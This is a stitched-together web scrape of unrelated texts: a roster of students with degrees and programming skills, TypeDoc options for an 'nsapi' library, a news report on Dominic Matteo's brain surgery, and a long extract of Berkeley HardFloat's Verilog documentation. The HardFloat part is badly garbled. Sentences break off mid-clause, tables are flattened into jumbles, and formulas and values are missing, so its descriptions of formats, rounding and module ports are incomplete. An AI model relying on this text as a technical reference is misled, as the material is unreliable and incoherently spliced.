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Aima Juveria
B.sc
Core Java, C++, Python, HTML, CSS, XML
|
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Alamdar Abbas
BCA
Core Java, Advanced Java, Javascript, C, C++, HTML, CSS, PHP, SQL, Ajax, JQuery
|
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Arjun Singh
BCA
Core Java, Javascript, C, C++, Python, HTML, CSS, PHP, SQL
|
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Ashar Ahmad Khan
B.Sc
Core Java, C, C++, Python, SQL, MatLab
|
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Ashutosh Dwivedi
B.Sc
Core Java
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Ashutosh Kr. Dwivedi
BCA
Core Java, Javascript, C, C++, Python, HTML, CSS, SQL, MatLab
|
|
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Dipanshu Negi
B.Sc (H) Computer Science
C++, Python, Prolog, MatLab
|
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Himanshu Adhikari
B.Sc (H) Computer Science
Core Java, Javascript, C, C++, Python, HTML, CSS, PHP, SQL
|
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Ifra Sabi
B.Sc
Core Java, C, C++, HTML, CSS, SQL
|
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Isha Khaleel
B.Sc (H) Physics
Core Java, Advanced Java, Javascript, C, C++, Python, HTML, CSS, PHP, SQL
|
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Ishraq Hussain Ansari
BCA
Core Java, Advanced Java, Javascript, C, C++, Python, HTML, CSS, PHP, SQL
, MatLab, Shell script
|
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Mariyum Khan
B.Sc (H) Computer App.
Core Java, C++, HTML, CSS, PHP
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Mohd. Asadullah
BCA
Core Java, Advanced Java, Javascript, C, C++, Python, PHP
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Mohd. Nazir Nagori
BCA
Core Java, Advanced Java, Javascript, C, C++, Python, HTML, CSS, SQL
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Mohd. Atif Siddiqui
B.Sc
Core Java, Javascript, C, C++, HTML, CSS, SQL
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Mohd. Muzakkir
B.Sc.(H) Physics
Core Java, Advanced Java, C, C++, Python, HTML, CSS, SQL, Prolog, MatLab
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Mohd. Sahil Warsi
BCA
C, C++, JAVA, J2EE, HTML, JavaScript, CSS, MSOFFICE, Mysql, Oracle
|
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Mohd. Sharique Alam
B.SC (H) Physics
C, C++, Java, MySQL
|
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Mohd. Shoaib
B.Sc
Core Java, Advanced Java, Javascript, C, C++, HTML, CSS, PHP
|
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Mohd. Tauhid
B.Sc (H) Physical Science
Core Java, Javascript, C, C++, Python, HTML, CSS, PHP, SQL, Data Structures, Algorithms
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Mohd. Zahid Aslam
B.Sc (H) Chemistry
Core Java, C, C++, Python, SQL, MatLab
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Mohd.


Allows API requests immediately after the API is initialized. Defaults to true.
Allows telegram requests immediately after the API is initialized. Defaults to true.
The delay before API requests in milliseconds. Defaults to 600.
Whether API requests should be cached. Defaults to true.
The number of seconds that API requests should stay cached. Defaults to 900.
Whether a delay is introduced before API and telegram requests. Defaults to true.
The delay before non-recruitment telegram requests in milliseconds. Defaults to 60000.
The delay before recruitment telegram requests in milliseconds. Defaults to 180000.
Generated using TypeDoc
Options to configure nsapi.


Dominic Matteo receives messages of support after operation on a brain tumour
The former Liverpool and Leeds player is currently being treated in hospital after coming out of intensive care.
Dominic Matteo’s former clubs and team-mates have shared their support for him after he had surgery on a brain tumour.
Liverpool said on Saturday that the 45-year-old, who started his career at Anfield, underwent an operation on Monday and is currently being treated in hospital after coming out of intensive care.
“The thoughts of everyone at the club are with Dom, his family and friends and we will be offering our support to them throughout this difficult time,” Liverpool said.
“A popular member of the Liverpool side in the 1990s and a regular pundit and commentator on LFCTV in recent years, Matteo made his debut for the Reds in October 1993.
“We wish Dom a full and speedy recovery and will offer any support we can to his wife and family.
“Dom’s family would like to place on record their gratitude to all staff at Leeds General Infirmary and express their thanks for all of the messages of support they have received.”
Matteo started his career in red, making 155 appearances, before moving to Leeds.
He became a fan favourite at Elland Road and scored one of the most famous goal’s in the club’s history – a header against AC Milan in the San Siro which secured Leeds’ passage into the Champions League knockout stages.
After four years he moved on to Blackburn and then finally Stoke, as well as winning six caps for Scotland.
“Wishing my mate Dominic Matteo a speedy recovery – one of life’s good guys,” former Liverpool and Leeds striker Robbie Fowler wrote on Twitter, with Rio Ferdinand echoing similar sentiments and sending “best wishes”.
Leeds said: “The thoughts of everyone at #LUFC are with our former captain Dominic Matteo and his family after he was taken seriously ill earlier this week”, while Blackburn wished him a “speedy recovery”.


John R. Hauser
2019 July 29
1. Introduction 2. Limitations 3. Acknowledgments and License 4. HardFloat Package Directory Structure 5. Floating-Point Representations 5.1. Standard Formats 5.2. Recoded Formats 5.3. Raw Deconstructions 6. Common Control and Mode Inputs 6.1. Control Input 6.2. Rounding Mode 7. Exception Results 8. Specialization 8.1. Width and Default Value for the Control Input 8.2. Integer Results on Exceptions 8.3. NaN Results 9. Main Modules 9.1. Conversions Between Standard and Recoded Floating-Point ( fNToRecFN
,recFNToFN
)9.2. Conversions from Integer ( iNToRecFN
,iNToRawFN
)9.3. Conversions to Integer ( recFNToIN
)9.4. Conversions Between Formats ( recFNToRecFN
)9.5. Addition and Subtraction ( addRecFN
,addRecFNToRaw
)9.6. Multiplication ( mulRecFN
,mulRecFNToRaw
,mulRecFNToFullRaw
)9.7. Fused Multiply-Add ( mulAddRecFN
,mulAddRecFNToRaw
)9.8. Division and Square Root ( divSqrtRecFN_small
,divSqrtRecFNToRaw_small
)9.9. Comparisons ( compareRecFN
)10. Common Submodules 10.1. isSigNaNRecFN
10.2. recFNToRawFN
10.3. roundAnyRawFNToRecFN
10.4. roundRawFNToRecFN
11. Testing HardFloat 12. Contact Information
Berkeley HardFloat is a hardware implementation of binary floating-point that
conforms to the IEEE Standard for Floating-Point Arithmetic.
HardFloat supports a wide range of floating-point formats, using module
parameters to independently determine the widths of the exponent and
significand fields.
The set of possible formats includes the standard ones of
For any supported format, the following arithmetic functions are available:
This document covers the Verilog version of Berkeley HardFloat. An understanding of both Verilog and the IEEE Floating-Point Standard is required.
HardFloat is currently in its first documented release, called
In its Verilog version, Berkeley HardFloat requires development tools that conform at a minimum to the 2001 IEEE Standard for the Verilog language.
For a particular IEEE-conforming binary floating-point format, if w is
the width of the format’s exponent field and p is the precision as
defined by the floating-point standard (that is,
p ≤ 2(w − 2) + 3
Formats not satisfying these constraints will not always operate correctly.
Although HardFloat supports an infinite range of binary floating-point formats
within these constraints,
While the range of HardFloat’s parameters includes the
“bfloat16” format (
HardFloat is designed to operate on IEEE floating-point values by converting
them into a recoded format, performing arithmetic in the recoded format,
and then eventually converting back to a standard IEEE-defined encoding.
HardFloat’s recoded formats encode the exact same set of values as the
standard floating-point encodings, so recoding entails only a change of
representation as bits, not a change of value.
It is intended that this recoding be made invisible to other system components
by converting values back to a standard encoding whenever necessary.
Nevertheless, there may exist situations where use of the recoded formats
cannot be tolerated.
For more about the recoding, see
The HardFloat package was written by me,
Par Lab: Microsoft (Award #024263), Intel (Award #024894), and U.C. Discovery (Award #DIG07-10227), with additional support from Par Lab affiliates Nokia, NVIDIA, Oracle, and Samsung. ASPIRE Lab: DARPA PERFECT program (Award #HR0011-12-2-0016), with additional support from ASPIRE industrial sponsor Intel and ASPIRE affiliates Google, Nokia, NVIDIA, Oracle, and Samsung. ADEPT Lab: ADEPT industrial sponsor Intel and ADEPT affiliates Google, Futurewei, Seagate, Siemens, and SK Hynix.
The following applies to the whole of HardFloat
Copyright 2019 The Regents of the University of California. All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list of conditions, and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this list of conditions, and the following disclaimer in the documentation and/or other materials provided with the distribution.
Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

The directory structure for the Verilog version of HardFloat is as follows:
doc source 8086-SSE ARM-VFPv2 RISCV test source Verilator build Verilator-GCC IcarusVerilog
The source files that define the Verilog modules are all in the main
source
directory.
The test
directory has files used solely for testing.
Most of HardFloat’s source files are regular Verilog
‘.v
’ files containing module definitions.
There are also a few ‘.vi
’ files that define macros
and constant functions.
These latter types of files get textually included (using compiler directive
`include
) in the other Verilog files.
Within the main source
directory are subdirectories for files that
specialize the floating-point behavior to match particular processor families:
8086-SSE
- Intel’s x86 processors with Streaming SIMD Extensions (SSE) and later compatible extensions (but not including the older
80-bit double-extended-precision format)ARM-VFPv2
- Arm’s VFPv2 or later floating-point
RISCV
RISC-V floating-point
Each of these specialization subdirectories contains two files,
HardFloat_specialize.vi
and HardFloat_specialize.v
.
Specialization is covered in detail in
HardFloat has three main ways of representing binary floating-point values:
- Standard IEEE formats (‘
fN
’)- A computation’s original floating-point inputs and final results will typically be represented in what the IEEE Standard calls binary interchange formats, such as binary32 for single-precision and binary64 for double-precision.
- Recoded formats (‘
recFN
’)- Rather than operate on the standard formats directly, HardFloat prefers to translate IEEE-encoded values into equivalent recoded formats and operate on those alternative representations instead. The main purpose of the recoding is to make subnormals be normalized, aligned with other floating-point values, thus reducing the complexity of floating-point operations.
- Raw deconstructions (‘
rawFN
’)- During the computation of individual arithmetic operations, HardFloat often represents floating-point values in a deconstructed “raw” form, with separated sign, exponent, significand, etc. Among other uses, this representation is employed for intermediate results before rounding.
Each of these representations is covered in a subsection below.
HardFloat uses the term standard format to refer to an encoding of floating-point in the style of a binary interchange format defined by the IEEE Standard. Although the standard officially limits binary interchange formats to certain combinations of exponent width w and precision p, HardFloat loosens those restrictions to allow any w and p, so long as each parameter is no smaller than 3, and this relationship is also satisfied:
p ≤ 2(w − 2) + 3
In module names, HardFloat uses the abbreviation ‘fN
’
(distinct from ‘recFN
’ or
‘rawFN
’) to refer to standard IEEE-style formats.
A particular format is indicated by parameters expWidth
(sigWidth
(expWidth
+
sigWidth
, which is subdivided as expWidth
bits for the encoded exponent, and
sigWidth
− 1
expWidth
(w)sigWidth
(p)16-bit half-precision 5 11 32-bit single-precision 8 24 64-bit double-precision 11 53 128-bit quadruple-precision 15 113
As supplied, HardFloat distinguishes signaling NaNs from quiet NaNs in the way
the IEEE Standard prefers;
that is, if the most-significant bit of a NaN’s trailing significand
0
1
0
1
For each standard format, HardFloat defines a corresponding
recoded format that encodes the same set of values in a slightly
different representation.
The recoded formats have sign, exponent, and significand fields just like the
standard formats, but with one extra bit for the exponent.
Hence, standard
The following table summarizes the recoding:
standard format HardFloat’s recoded format sign exponent significand sign exponent significand zeros s 0 0 s 000
xx...xx0 subnormal numbers s 0 F s 2k + 2 − n normalized F <<
nnormal numbers s E F s E + 2k + 1 F infinities s 1111
...11
0 s 110
xx...xxxxxxxxx...xxxx NaNs s 1111
...11
F s 111
xx...xxF
The parameter k is expWidth
− 1expWidth
is the standard width of the exponent field, not
the recoded width.
An x represents a “don’t care” bit.
For the special values of zeros, infinities, and NaNs, only the three
most-significant bits are relevant in the recoded exponent field.
If those three bits are 000
, 110
, or
111
, the floating-point value is a zero, infinity, or NaN,
respectively;
otherwise, the value is a normalized finite number.
In the latter case, if the recoded exponent field is
<<
n”
means F normalized by shifting left by 1
For most floating-point values (zeros, normal numbers, and NaNs) the only thing different about the recoded formats is the encoding of the exponent; the sign and significand fields are the same as the corresponding standard format. Infinities are special only in that the significand field is ignored in the recoded formats and might not be zero. Only for subnormals is there a significant transformation of both exponent and significand fields, due to normalization.
A large number of possible bit patterns in the recoded formats don’t
conform to entries in the table above, such as when the recoded
exponent’s most-significant three bits are 000
, indicating a
zero, yet the significand field is not zero.
Such patterns are not valid.
If an invalid recoded input is given to a HardFloat module, all module outputs
are unspecified.
Invalid recoded results are never generated by HardFloat’s modules, so
long as all module inputs are valid.
For normalized numbers (not zeros, infinities, or NaNs), a valid recoded
exponent field is always in the range
sigWidth
In module names, a recoded format is abbreviated as
‘recFN
’.
Like the standard formats, a particular recoded format is specified by
parameters expWidth
and sigWidth
.
The parameters to give, however, are those of the corresponding standard
format, without adjustment for the wider recoded exponent field.
For example, the recoded format for common expWidth
= 8sigWidth
= 24expWidth
+ 1expWidth
+
sigWidth
+ 1
Within the implementation of individual arithmetic operations (addition, multiplication, etc.), HardFloat often represents floating-point values in a deconstructed form, with six separate components:
isNaN
- A single bit indicating whether the floating-point value is a NaN. If
isNaN
is true (= 1 ), the other components are irrelevant except possibly forsign
andsig
. Componentssign
andsig
are relevant for a NaN only if HardFloat is configured to propagate NaN payloads.isInf
- A single bit indicating whether the floating-point value is an infinity. If
isNaN
is false andisInf
is true, the other components are irrelevant except forsign
.isZero
- A single bit indicating whether the floating-point value is a zero. If
isNaN
andisInf
are both false andisZero
is true, the other components are irrelevant except forsign
.sign
- The floating-point sign bit. Ignored only if
isNaN
is true and NaN payloads are not propagated.sExp
- For a finite nonzero floating-point value, the biased floating-point exponent as a signed integer. For NaNs, infinities, and zeros,
sExp
is ignored. As there are no special encodings ofsExp
to indicate special values,sExp
is always just a simple signed integer, with the same bias as in the recoded formats. For a specifiedexpWidth
, the actual width ofsExp
is, giving it a range of −2w+1 to expWidth
+ 22w+1 − 1 , wherew = as usual.expWidth
sig
- For a NaN, the NaN payload (sometimes ignored). For a finite nonzero floating-point value, the complete significand, including the usually implicit
. For a specified 1
bitsigWidth
, the width ofsig
is, with 2 extra bits at the most-significant end when compared to the usual trailing significand of the standard and recoded formats. In some cases, these two bits are always binary sigWidth
+ 101
. In other cases, the most-significant1
bit of the significand can be either of the two leading bits ofsig
, allowing for a1-bit slack in the normalization of the significand. A value ofsig
with the two most-significant bits both zeros (00
) is invalid (unless one ofisNaN
,isInf
, orisZero
is true).
Unlike the recoded formats, the deconstructed forms allow many valid encodings that do not correspond directly to IEEE floating-point values. These extra-precise and/or out-of-bounds values may be mapped to the set of valid IEEE values by rounding, possibly resulting in underflow or overflow.
In HardFloat’s module names, the deconstructed forms are abbreviated as
‘rawFN
’.
They are typically used in two ways.
First, inputs to an operation get converted from recoded formats into
deconstructed forms using recFNToRawFN
submodules.
An intermediate numeric result is then computed, also in raw form, and this
gets rounded to a valid IEEE value using module roundRawFNToRecFN
or roundAnyRawFNToRecFN
.
These modules for handling rawFN
are documented in more detail in
HardFloat’s floating-point arithmetic modules commonly take two inputs that may adjust the behavior of the module:
control
roundingMode
These are covered in the following subsections.
The control
input is a vehicle for supplying to floating-point
operations any number of miscellaneous control parameters that are not expected
to change frequently.
The width of this input is specified by macro floatControlWidth
,
which is defined by default in file HardFloat_consts.vi
, although
it may be overridden in HardFloat_specialize.vi
.
Currently, the default width for control
is only
The default single bit of control
determines detection of
tininess for underflow.
In the terminology of the IEEE Standard, HardFloat can detect tininess for
underflow either before or after rounding.
The following are the names of macros whose values can be bitwised
control
input:
flControl_tininessBeforeRounding flControl_tininessAfterRounding
If the control
bit specified by macro
flControl_tininessAfterRounding
is
The roundingMode
input to a module chooses the rounding mode for a
floating-point operation (obviously).
All five rounding modes defined by the 2008 IEEE Floating-Point Standard are
implemented for all operations that require rounding.
HardFloat adds support also for a sixth mode, round to odd.
The value of roundingMode
may be that of any of these macros
defined in HardFloat_consts.vi
:
round_near_even
round to nearest, with ties to even round_near_maxMag
round to nearest, with ties to maximum magnitude (away from zero) round_minMag
round to minimum magnitude (toward zero) round_min
round to minimum (down) round_max
round to maximum (up) round_odd
round to odd (jamming)
Rounding mode round_odd
operates as follows:
For a conversion to an integer, if the input is not already an integer value,
the rounded result is the closest odd integer.
For operations that return a floating-point value, the floating-point result is
first rounded to minimum magnitude, the same as round_minMag
, and
then, if the result is inexact, the least-significant bit of the result is set
1
HardFloat supports all five exception flags required by the IEEE Floating-Point
Standard.
Most modules for floating-point operations have an exceptionFlags
output with
{
invalid,
infinite,
overflow,
underflow,
inexact}
The infinite exception is what the standard calls “divide by zero”, meaning an infinite result generated from finite operands.
The module that converts from floating-point to integer,
recFNToIN
, drops the infinite and underflow bits,
because conversions to integer can never underflow or deliver an infinite
result.
This module has instead an intExceptionFlags
output with
{
invalid,
overflow,
inexact}
Note that, although recFNToIN
distinguishes overflow from
invalid exceptions in intExceptionFlags
as shown, the IEEE
Standard does not permit conversions to integer to signal a
floating-point overflow exception.
Rather, if a system has no other way to indicate overflow from conversions to
integer, the standard requires that the floating-point invalid exception
be signaled, not floating-point overflow.
Hence, it will often be the case that the invalid and overflow
bits from the intExceptionFlags
output must be
Depending on how it is configured, HardFloat has the ability to create distinct NaNs for different exceptions, and to propagate NaN payloads from operation inputs to output. These options for NaNs are determined by the specialization of HardFloat, covered in the next section.
The IEEE Floating-Point Standard allows for some variation among conforming
implementations, particularly concerning NaNs.
The HardFloat source
directory is supplied with some
specialization subdirectories containing possible definitions for this
implementation-specific behavior.
For example, the 8086-SSE
control
input, if it’s not the default of
control
input, including whether
tininess for underflow is detected before or after rounding by default;
A specialization subdirectory is expected to contain two files: an
“include” file named HardFloat_specialize.vi
and a
regular Verilog file named HardFloat_specialize.v
.
If the specific implementation adds any bits to the control
input,
its width must be defined in HardFloat_specialize.vi
by undefining
(`undef
) the existing macro floatControlWidth
and
redefining it to the correct number of bits.
If needed, a default value for the control
input can be specified
by defining macro flControl_default
in
HardFloat_specialize.vi
.
This macro should be defined to either
`flControl_tininessBeforeRounding
or
`flControl_tininessAfterRounding
, combined with defaults for any
added control
bits.
To determine the result returned when a conversion to integer type overflows or
raises the invalid exception, file HardFloat_specialize.v
is expected to define a module with these parameters and ports:
module iNFromException#(parameter width) ( input signedOut, input isNaN, input sign, output [(width - 1):0] out );
Input signedOut
indicates whether the result integer type is
signed or unsigned, with 0 being unsigned and 1 being signed.
The other two inputs, isNaN
and sign
, provide
information about the original floating-point input that can affect the choice
of the integer result.
If isNaN
is true, the floating-point input is a NaN;
else it is a number (possibly an infinity) outside the range of the integer
type.
The correct integer result is returned in out
.
The specialization also determines the specific NaNs delivered when operations
return NaNs.
One must first choose whether NaN payloads will be propagated.
Defining macro HardFloat_propagateNaNPayloads
in
HardFloat_specialize.vi
enables NaN payload propagation.
(If defined, the content of this macro is ignored;
only its effect on `ifdef
directives matters.)
The remaining specification of NaN results depends on whether macro
HardFloat_propagateNaNPayloads
is defined.
Without NaN payload propagation
When NaN payloads are not propagated, a NaN result will usually be just the
default NaN for the result format, regardless of any input NaNs.
Default NaNs must be specified by two other macros defined in
HardFloat_specialize.vi
.
First, a default NaN’s sign bit is chosen by macro
HardFloat_signDefaultNaN
, which can be defined as either
0
1
HardFloat_fractDefaultNaN(sigWidth)
, which must evaluate to
an integer of sigWidth
− 1
With NaN payload propagation
If NaN propagation is enabled (macro
HardFloat_propagateNaNPayloads
is defined), then NaN results are
determined in an entirely different way.
In this case, several modules must be supplied in
HardFloat_specialize.v
to implement the desired propagation.
The names, parameters, and ports of these modules are as follows:
module propagateFloatNaN_add#(parameter sigWidth) ( input [(`floatControlWidth - 1):0] control, input subOp, input isNaNA, input signA, input [(sigWidth - 2):0] fractA, input isNaNB, input signB, input [(sigWidth - 2):0] fractB, output signNaN, output [(sigWidth - 2):0] fractNaN ); module propagateFloatNaN_mul#(parameter sigWidth) ( input [(`floatControlWidth - 1):0] control, input isNaNA, input signA, input [(sigWidth - 2):0] fractA, input isNaNB, input signB, input [(sigWidth - 2):0] fractB, output signNaN, output [(sigWidth - 2):0] fractNaN ); module propagateFloatNaN_mulAdd#(parameter sigWidth) ( input [(`floatControlWidth - 1):0] control, input [1:0] op, input isNaNA, input signA, input [(sigWidth - 2):0] fractA, input isNaNB, input signB, input [(sigWidth - 2):0] fractB, input invalidProd, input isNaNC, input signC, input [(sigWidth - 2):0] fractC, output signNaN, output [(sigWidth - 2):0] fractNaN ); module propagateFloatNaN_divSqrt#(parameter sigWidth) ( input [(`floatControlWidth - 1):0] control, input sqrtOp, input isNaNA, input signA, input [(sigWidth - 2):0] fractA, input isNaNB, input signB, input [(sigWidth - 2):0] fractB, output signNaN, output [(sigWidth - 2):0] fractNaN );
A different NaN-propagation module is needed for each of addition/subtraction, multiplication, fused multiply-add, and division/square-root. In all cases:
control
input comes directly from the inputs of the original
floating-point operation.
isNaNA
, signA
, and fractA
provide information about the first floating-point operand.
(signA
and fractA
are expected to be useful only when
isNaNA
is true.)
isNaNB
, signB
, and fractB
inform
about the second floating-point operand.
signNaN
and
fractNaN
.
Module propagateFloatNaN_add
has an extra input,
subOp
, indicating whether the operation is addition
(propagateFloatNaN_divSqrt
has an extra input,
sqrtOp
, indicating whether the operation is division
(b
operand (isNaNB
,
signB
, fractB
) should be ignored.
Module propagateFloatNaN_mulAdd
has these extra inputs:
op
duplicates the same input to the mulAdd
module.
invalidProd
indicates whether the product of floating-point
operands a
and b
is invalid (because
one operand is a zero and the other is an infinity).
isNaNC
, signC
, and fractC
inform
about the third floating-point operand, which is the other addend besides the
product a
× b
If no floating-point operand is a NaN (all isNaN
inputs are
false), the modules must return the correct default NaN for an invalid
operation of the given kind.
It may be that correct NaN results depend in part on whether floating-point
operands are signaling NaNs.
If so, inputs isNaNA
and fractA
contain enough
information for a module to determine whether operand a
is
a signaling NaN, and likewise for operands b
c
HardFloat defines modules for the following floating-point conversions and operations:
Only for the first bullet item above do HardFloat’s modules directly
touch floating-point encoded in a standard IEEE format.
Otherwise, floating-point inputs are always in HardFloat’s recoded
format, and floating-point outputs are either in a recoded format or in a
“raw” deconstructed form.
When an output is in deconstructed form, the output value is before rounding,
and it must still be processed through roundRawFNToRecFN
or
roundAnyRawFNToRecFN
to obtain a correctly rounded result in
conformance with IEEE rules.
Modules roundRawFNToRecFN
and roundAnyRawFNToRecFN
are documented later, in
Many HardFloat modules take inputs named control
and
roundingMode
.
These are always as documented in exceptionFlags
is always the five
exception flags reported in
Naturally, if recoded floating-point inputs to a module are not valid according
to
fNToRecFN
, recFNToFN
)
HardFloat has only two modules that input or output floating-point encoded in a
standard IEEE format.
One module, fNToRecFN
, converts from a standard format into
HardFloat’s equivalent recoded format, and the other,
recFNToFN
, converts back from a recoded format to standard format.
For all other functions, HardFloat requires the use of either its recoded
format or a “raw” deconstructed form.
The two conversion modules are complementary, with these parameters and ports:
module fNToRecFN#(parameter expWidth, parameter sigWidth) ( input [(expWidth + sigWidth - 1):0] in, output [(expWidth + sigWidth):0] out ); module recFNToFN#(parameter expWidth, parameter sigWidth) ( input [(expWidth + sigWidth):0] in, output [(expWidth + sigWidth - 1):0] out );
Because the set of values encoded in the recoded format is identical to the corresponding standard format, there are no possible exceptions from converting in either direction.
iNToRecFN
,
iNToRawFN
)
Module iNToRecFN
converts from an integer type to floating-point
in recoded form.
Its parameters and ports are:
module iNToRecFN#(parameter intWidth, parameter expWidth, parameter sigWidth) ( input [(`floatControlWidth - 1):0] control, input signedIn, input [(intWidth - 1):0] in, input [2:0] roundingMode, output [(expWidth + sigWidth):0] out, output [4:0] exceptionFlags );
The input named in
is interpreted as an unsigned integer if
signedIn
is false, or as a signed integer if
signedIn
is true.
Module iNToRawFN
performs a similar function, but returns a
floating-point value in deconstructed form:
module iNToRawFN#(parameter intWidth) ( input signedIn, input [(intWidth - 1):0] in, output isZero, output sign, output signed [(clog2(intWidth) + 2):0] sExp, output [intWidth:0] sig );
This module lacks parameters expWidth
and sigWidth
.
Instead, the output format is determined from the width of the input integer as
follows:
expWidth
=clog2
(intWidth
) + 1
sigWidth
=intWidth
Function clog2
(x) is the smallest integer at least
as large as the intWidth
is 17, the intWidth
is approximately 4.087, so
clog2
(intWidth
) sExp
is thus
The deconstructed output from iNToRawFN
omits isNaN
and isInf
, because these are known always to be false for
an integer.
The widths chosen for the output exponent and significand allow the
floating-point result from iNToRawFN
to be always exactly equal in
value to the integer input (much like recFNToRawFN
,
iNToRawFN
guarantees the following for its outputs:
sExp
is never negative.
isZero
is false), the two
most-significant bits of sig
are binary 01
.
isZero
is true),
sign
and sig
are zeros.
recFNToIN
)
Module recFNToIN
converts from a floating-point value in recoded
form to an integer type.
Its parameters and ports are:
module recFNToIN#(parameter expWidth, parameter sigWidth, parameter intWidth) ( input [(`floatControlWidth - 1):0] control, input [(expWidth + sigWidth):0] in, input [2:0] roundingMode, input signedOut, output [(intWidth - 1):0] out, output [2:0] intExceptionFlags );
The output named out
is an unsigned integer if input
signedOut
is false, or is a signed integer if
signedOut
is true.
As explained earlier in intExceptionFlags
reports
exceptions invalid, overflow, and inexact.
Although intExceptionFlags
distinguishes integer overflow
separately from invalid exceptions, the IEEE Standard does not permit
conversions to integer to raise a floating-point overflow exception.
Instead, if a system has no other way to indicate that a conversion to integer
overflowed, the standard requires that the floating-point invalid
exception be raised, not floating-point overflow.
Hence, the invalid and overflow bits from
intExceptionFlags
will typically be
recFNToRecFN
)
Module recFNToRecFN
converts a recoded floating-point value to a
different recoded format (such as from single-precision to double-precision, or
vice versa):
module recFNToRecFN#( parameter inExpWidth, parameter inSigWidth, parameter outExpWidth, parameter outSigWidth ) ( input [(`floatControlWidth - 1):0] control, input [(inExpWidth + inSigWidth):0] in, input [2:0] roundingMode, output [(outExpWidth + outSigWidth):0] out, output [4:0] exceptionFlags );
This module requires no special explanation.
addRecFN
,
addRecFNToRaw
)
Module addRecFN
adds or subtracts two recoded floating-point
values, returning a result in the same format.
Its parameters and ports are:
module addRecFN#(parameter expWidth, parameter sigWidth) ( input [(`floatControlWidth - 1):0] control, input subOp, input [(expWidth + sigWidth):0] a, input [(expWidth + sigWidth):0] b, input [2:0] roundingMode, output [(expWidth + sigWidth):0] out, output [4:0] exceptionFlags );
When input subOp
a
+ b
a
− b
A variant module, addRecFNToRaw
, returns the intermediate result
of addition or subtraction before rounding, as a “raw”
deconstructed floating-point value with two extra bits of significand:
module addRecFNToRaw#(parameter expWidth, parameter sigWidth) ( input [(`floatControlWidth - 1):0] control, input subOp, input [(expWidth + sigWidth):0] a, input [(expWidth + sigWidth):0] b, input [2:0] roundingMode, output invalidExc, output out_isNaN, output out_isInf, output out_isZero, output out_sign, output signed [(expWidth + 1):0] out_sExp, output [(sigWidth + 2):0] out_sig );
Boolean output invalidExc
is true if the operation should
raise an invalid exception.
Module roundRawFNToRecFN
can be used to round the intermediate
result in conformance with the IEEE Standard.
mulRecFN
,
mulRecFNToRaw
, mulRecFNToFullRaw
)
Module mulRecFN
multiplies two recoded floating-point values,
returning a result in the same format:
module mulRecFN#(parameter expWidth, parameter sigWidth) ( input [(`floatControlWidth - 1):0] control, input [(expWidth + sigWidth):0] a, input [(expWidth + sigWidth):0] b, input [2:0] roundingMode, output [(expWidth + sigWidth):0] out, output [4:0] exceptionFlags );
A variant module, mulRecFNToRaw
, returns the intermediate result
of multiplication before rounding, as a “raw”
deconstructed floating-point value with two extra bits of significand:
module mulRecFNToRaw#(parameter expWidth, parameter sigWidth) ( input [(`floatControlWidth - 1):0] control, input [(expWidth + sigWidth):0] a, input [(expWidth + sigWidth):0] b, output invalidExc, output out_isNaN, output out_isInf, output out_isZero, output out_sign, output signed [(expWidth + 1):0] out_sExp, output [(sigWidth + 2):0] out_sig );
Boolean output invalidExc
is true if the operation should
raise an invalid exception.
Module roundRawFNToRecFN
can be used to round the intermediate
result in conformance with the IEEE Standard.
Module mulRecFNToFullRaw
is a different variant, acting like
mulRecFNToRaw
except returning the complete double-width product
significand:
module mulRecFNToFullRaw#(parameter expWidth, parameter sigWidth) ( input [(`floatControlWidth - 1):0] control, input [(expWidth + sigWidth):0] a, input [(expWidth + sigWidth):0] b, output invalidExc, output out_isNaN, output out_isInf, output out_isZero, output out_sign, output signed [(expWidth + 1):0] out_sExp, output [(sigWidth*2 - 1):0] out_sig );
Unlike mulRecFNToRaw
, the result from
mulRecFNToFullRaw
is the exact product of the operands, without
any rounding approximation.
This full-size deconstructed floating-point result can be correctly rounded to
any recoded format using roundAnyRawFNToRecFN
.
mulAddRecFN
,
mulAddRecFNToRaw
)
Module mulAddRecFN
implements fused multiply-add as defined by the
IEEE Floating-Point Standard:
module mulAddRecFN#(parameter expWidth, parameter sigWidth) ( input [(`floatControlWidth - 1):0] control, input [1:0] op, input [(expWidth + sigWidth):0] a, input [(expWidth + sigWidth):0] b, input [(expWidth + sigWidth):0] c, input [2:0] roundingMode, output [(expWidth + sigWidth):0] out, output [4:0] exceptionFlags );
When op
= 0a
× b
) +
c
a
and
b
is infinite and the other is zero, the invalid
exception is indicated even if operand c
is a quiet NaN.
The bits of input op
affect the signs of the addends, making it
possible to turn addition into subtraction (much like the subOp
input to addRecFN
).
The exact effects of op
are summarized in this table:
op[1]
op[0]
Function 0 0 ( a
×b
) +c
0 1 ( a
×b
) −c
1 0 c
− (a
×b
)1 1 −( a
×b
) −c
In all cases, the function is computed with only a single rounding, of course.
A variant module, mulAddRecFNToRaw
, returns the intermediate
result of the fused multiply-add before rounding, as a
“raw” deconstructed floating-point value with two extra bits of
significand:
module mulAddRecFNToRaw#(parameter expWidth, parameter sigWidth) ( input [(`floatControlWidth - 1):0] control, input [1:0] op, input [(expWidth + sigWidth):0] a, input [(expWidth + sigWidth):0] b, input [(expWidth + sigWidth):0] c, input [2:0] roundingMode, output invalidExc, output out_isNaN, output out_isInf, output out_isZero, output out_sign, output signed [(expWidth + 1):0] out_sExp, output [(sigWidth + 2):0] out_sig );
Boolean output invalidExc
is true if the operation should
raise an invalid exception.
Module roundRawFNToRecFN
can be used to round the intermediate
result in conformance with the IEEE Standard.
divSqrtRecFN_small
,
divSqrtRecFNToRaw_small
)
Besides basic addition and multiplication, HardFloat has modules for computing
either division or square root, where the choice of function is controlled by a
module input.
Implementing as they do the most complex operations that HardFloat supports,
these combined division/square-root modules are unique within HardFloat for
being sequential, meaning they take a clock input and execute over
more than one clock cycle.
The division/square-root modules in HardFloat use classic one-bit-per-cycle
techniques that are simple and inexpensive but also slower than other known
algorithms for computing division and square root.
This character is reflected in the suffix ‘_small
’ in
the modules’ names.
HardFloat’s principal division/square-root module is
divSqrtRecFN_small
, with these parameters and ports:
module divSqrtRecFN_small#( parameter expWidth, parameter sigWidth, parameter options = 0 ) ( input nReset, input clock, input [(`floatControlWidth - 1):0] control, output inReady, input inValid, input sqrtOp, input [(expWidth + sigWidth):0] a, input [(expWidth + sigWidth):0] b, input [2:0] roundingMode, output outValid, output sqrtOpOut, output [(expWidth + sigWidth):0] out, output [4:0] exceptionFlags );
Currently, the only valid value for the options
parameter is zero.
The reset input, nReset
